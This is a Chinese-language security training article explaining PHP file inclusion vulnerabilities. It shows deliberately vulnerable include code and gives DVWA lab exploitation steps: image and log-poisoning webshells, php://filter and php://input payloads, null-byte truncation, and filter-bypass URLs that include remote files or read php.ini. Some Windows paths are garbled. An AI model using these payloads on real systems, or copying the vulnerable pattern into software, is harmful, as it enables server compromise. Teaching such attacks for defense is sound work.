文件包含漏洞原理是什么?网络安全培训学习
老男孩IT教育
行业新闻
2020年11月23日 14:47
老男孩网络培训学习。为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
文件包含漏洞:
简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。在大多数 Web 语言中都会提供的功能,但 PHP 对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在 PHP 语言中,这也就导致了出现了一个错误现状,很多初学者认为包含漏洞只出现 PHP 语言之中,殊不知在其他语言中可能出现包含漏洞。这也应了一句老话:功能越强大,漏洞就越多。
文件包含漏洞的原理:
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
示例代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
典型特征
?page=a.php
?home=b.html
?file=content…
涉及到的危险函数:
include 函数: 执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require 函数:只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once 函数:在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次;
require_once 函数:和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
文件包含漏洞的分类:
1、本地文件包含漏洞:
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2、远程文件包含漏洞:
能够通过 url 地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
需要设置 PHPstudy 的参数开关设置
allow_url_include=on
magic_quotes_gpc=off
文件包含漏洞的上传技巧:
1、小马+图片:
方法一:直接伪造头部 GIF89A
方法二:CMD 方法,copy /b test.png+1.php muma.png
方法三:直接使用工具增加备注写入一句话木马。
2、小马+日志:
当某个 PHP 文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用 apache 日志文件来入侵。
Apache 服务器运行后会生成两个日志文件,这两个文件是 access.log(访问日志)和 error.log(错误日志),apache 的日志文件记录下我们的操作,并且写到访问日志文件 access.log 之中
1、打开配置文件-httpd-conf”,打开 httpd.conf 配置文件,第 299 行 ##CustomLog "logs/access.log" common,将##删除
2、将一句话木马写到 fiename 里,虽然会提示失败,但是会记录到日志文件中。
3、然后将日志的路径包含在 fiename 里,此时小马就被运行了,但是由于编码的缘故有可能并不生效。
日志默认路径:
(1) apache+Linux 日志默认路径
/etc/httpd/logs/access_log 或者/var/log/httpd/access_log
(2) apache+win2003 日志默认路径
D: mpppachelogsccess.log
D: mpppachelogserror.log
(3) IIS6.0+win2003 默认日志文件
C:WINDOWSsystem32Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%inetpublogsLogFiles
(5) nginx 日志文件
日志文件在用户安装目录 logs 目录下
以我的安装路径为例/usr/local/nginx,那我的日志目录就是在/usr/local/nginx/logs 里
3、php 包含读文件:
构造 URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
3.1 访问 URL,得到经过 base64 加密后的字符串:
3.2 经解密还原得到如下:
4、php 包含写文件:
构造 URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:
注意:只有在 allow _url_include 为 on 的时候才可以使用,如果想查看回显结果那必须在 C:phpphp-5.2.14-Win32 下找到 php-apache2handler.ini 打开,查找 display_funtions=proc-open,oppen,exec,system…….删掉 system 重启 apache。
5、包含截断绕过:(低)
如下代码,在上传的文件后面加.php 后缀,默认是 PHP 文件,但我们上传的文件肯定不是 PHP 文件。
<?php
if(isset($_GET['page'])){
include $_GET['page'] .".php" ;
}else{
include 'home.php';
}
?>
这种方法只适合于 magic_quotes_gpc=off 的时候, php 版本小于 5.3.4
可通过%00 截断绕过,不过现在已经很难见到了,比如:index.php?file=info.txt//////////////…………超过一定数据的/。
6、str_replace 函数绕过:(中)
使用 str_replace 函数是极其不安全的,因为可以使用双写绕过替换规则。
例如:page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
因为替换的只是“../”、“..”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
6.1 本地文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini
6.2 绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
6.3 远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
7、fnmatch 函数绕过:(高)
if(!fnmatch("file*",file)&&file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名 file 开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
构造 URL:http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名 file 开头)所以成功读取了服务器的配置文件。
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、copy()、file_exists()和 filesize()的文件系统函数。 具体协议请参照http://www.php.net/manual/zh/wrappers.php。
文件包含漏洞的防御方法:
将需要包含的文件写死